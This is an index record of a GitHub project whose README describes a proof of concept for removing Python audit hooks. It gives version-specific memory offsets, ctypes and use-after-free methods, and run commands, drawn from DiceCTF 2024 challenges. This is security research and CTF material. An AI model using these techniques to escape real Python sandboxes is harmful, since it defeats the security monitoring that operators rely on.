{"id":26218190,"url":"https://github.com/nambers/python-audit_hook_head_finder","last_synced_at":"2025-04-15T23:47:49.373Z","repository":{"id":222038631,"uuid":"756054439","full_name":"Nambers/python-audit_hook_head_finder","owner":"Nambers","description":"PWNable pyjail","archived":false,"fork":false,"pushed_at":"2025-01-13T05:15:04.000Z","size":58,"stargazers_count":11,"open_issues_count":0,"forks_count":1,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-03-29T02:51:28.927Z","etag":null,"topics":["audithook","pyjail"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Nambers.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":"audit_hook_head_finder.c","citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2024-02-11T20:55:13.000Z","updated_at":"2025-02-25T19:47:13.000Z","dependencies_parsed_at":"2024-02-18T21:38:41.959Z","dependency_job_id":"5be19ad2-4363-438a-bbca-258d9a937477","html_url":"https://github.com/Nambers/python-audit_hook_head_finder","commit_stats":null,"previous_names":["nambers/python-audit_hook_head_finder"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Nambers%2Fpython-audit_hook_head_finder","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Nambers%2Fpython-audit_hook_head_finder/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Nambers%2Fpython-audit_hook_head_finder/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Nambers%2Fpython-audit_hook_head_finder/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Nambers","download_url":"https://codeload.github.com/Nambers/python-audit_hook_head_finder/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":249173060,"owners_count":21224481,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["audithook","pyjail"],"created_at":"2025-03-12T13:15:50.880Z","updated_at":"2025-04-15T23:47:49.354Z","avatar_url":"https://github.com/Nambers.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# python audit_hooks head finder\n\nThis POC intends to show how to find the audit hook and use `ctypes` to pop it (~~SMASH it~~).\n\nThe idea is inspired by `misc/diligent-auditor` and `misc/IRS` challeneges and their solve scripts from [dicectf-quals-2024 CTF](https://github.com/dicegang/dicectf-quals-2024-challenges/).\n\n# Ref\nDiligent auditor from *organizers*: \u003chttps://ur4ndom.dev/posts/2024-02-11-dicectf-quals-diligent-auditor/\u003e  \nIRS writeup from *Maple Bacon*: \u003chttps://maplebacon.org/2024/02/dicectf2024-irs/\u003e\n\n## Tested environment\n```\nPython 3.12.4 (main, Jun  7 2024, 06:33:07) [GCC 14.1.1 20240522] on linux\nPython 3.12.3 (tags/v3.12.3:f6650f9ad7, Jun 24 2024, 16:32:34) [GCC 14.1.1 20240522] on linux\nPython 3.12.1 (tags/v3.12.1:2305ca5144, Jun 24 2024, 18:55:02) [GCC 14.1.1 20240522] on linux\nPython 3.11.9 (main, Jun 23 2024, 04:47:27) [GCC 14.1.1 20240522] on linux\nPython 3.13.1 (main, Dec  4 2024, 18:05:56) [GCC 14.2.1 20240910] on linux\n```\n\n## Offsets\n### For ctypes\n```python\n# ONLY TESTED ON PYTHON 3.11, 3.12, 3.13\n# the offsets are from POC.py\nif sys.version_info[:2] == (3, 12):\n    if sys.version_info[2] \u003c= 3:\n        PTR_OFFSET = [0x41448, -0x11df0] # \u003c= 3.12.3\n    else:\n        PTR_OFFSET = [0x41448, -0x11e20] # for python3.12.4\nelif sys.version_info[:2] == (3, 13):\n    PTR_OFFSET = [0x2aa0, -0x13030] # 3.13.1\nelse:\n    # python 3.11\n    PTR_OFFSET = [0xe00, -0xe388]\n```\n\n### For UAF\n```python\n# ONLY TESTED ON PYTHON 3.11, 3.12, 3.13\n# the offsets are from POC-no-ctypes.py\n# offset for audit hook set by Python and C\nif sys.version_info[:2] == (3, 12):\n    if sys.version_info[2] \u003c= 3:\n        PTR_OFFSET = [24, 48, 0x468f0, -0xc948] # \u003c= 3.12.3\n    else:\n        PTR_OFFSET = [24, 48, 0x46920, -0xc948] # for python3.12.4\nelif sys.version_info[:2] == (3, 13):\n    PTR_OFFSET = [24, 48, 0x7fd0, -0xdb00] # 3.13.1\nelse:\n    # there are multiple offsets for 3.11? check the result of POC-no-ctypes.py\n    PTR_OFFSET = [24, 48, 0x4d558, 0x3e3d0]\n```\n\n## Smash Audit hook using `ctypes`\n### Concept\nFor audit hook set in Python: according to the \"fixed\" offsets between `ctypes.byref(ctypes.py_object(()))` and `GET_INTERP_ADDR()-\u003eaudit_hooks` pointer under `PyInterpreterState`, we can cast `audit_hook` to `Py_ListObject` by address and pop it.  \nFor audit hook set in C: according to the \"fixed\" offsets between `ctypes.byref(ctypes.py_object(()))` and `_PyRuntime.audit_hooks.head` pointer under `PyRuntimeState`, we can directly rewrite the head of audit hooks to `NULL`.\n### How to use\n```bash\n# or ./build311.sh\n./build.sh\n./POC.py\n./POC2.py\n```\n\n### Output\n```bash\n\u003e ./POC.py\nC audit hook triggered! event=sys.addaudithook\n--- finished setup ---\nPyInterpreterState_addr=0x64df082debe8\nPyRuntimeState_addr=0x64df082cc180\nPyInterpreterState.audit_hooks_ptr_addr=0x64df0831ffb0\nPyRuntimeState.audit_hooks_ptr_addr=0x64df082ccd78\n\naudit_hook_ptr_offset_by_py=0x41448\naudit_hook_ptr_offset_by_c=-0x11df0\nlen=1 should be 1\nC audit hook triggered! event=os.system\naudit hook triggered! ('os.system', (b\"echo 'test audit hook -- this will trigger hook'\",))\ntest audit hook -- this will trigger hook\ntest audit hook -- this will not\n\u003e ./POC2.py\naudit hook triggered! ('sys.addaudithook', ())\n--- finished setup ---\nC audit hook triggered! event=os.system\naudit hook triggered! ('os.system', (b\"echo 'test audit hook -- this will trigger hook'\",))\ntest audit hook -- this will trigger hook\ntest audit hook -- this will not\n\n```\n\n## Smash Audit hook without `ctypes`\n\u003e ref: \u003chttps://maplebacon.org/2024/02/dicectf2024-irs/\u003e\n\n[UAF POC](./UAF-issue91153.md)\n### How to use\n```bash\n# or ./build311.sh\n# build the helper binary\n./build.sh\n# brute-force the offsets\n./POC-no-ctypes.py\n# verify the offsets works\n./POC2-no-ctypes.py\n```\n\n## Smash Audit hook with fake bytearray\n\u003e ref: \u003chttps://www.da.vidbuchanan.co.uk/blog/35c3ctf-collection-writeup.html\u003e and \u003chttps://github.com/gousaiyang/my-ctf-challenges/tree/master/PyAuCalc\u003e  \n\u003e more context: \u003chttps://github.com/DavidBuchanan314/unsafe-python\u003e\n\n### How to use\n```bash\n./build.sh\n./POC-fake-bytearray.py\n```\n\n## TODO\n- [x] Use \u003chttps://github.com/python/cpython/issues/91153\u003e to smash it without `ctypes`\n- [x] Find a way to get the `audit_hook` address without using `ctypes`\n- [ ] Use \u003chttps://bugs.python.org/issue43838\u003e to smash it?\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fnambers%2Fpython-audit_hook_head_finder","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fnambers%2Fpython-audit_hook_head_finder","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fnambers%2Fpython-audit_hook_head_finder/lists"}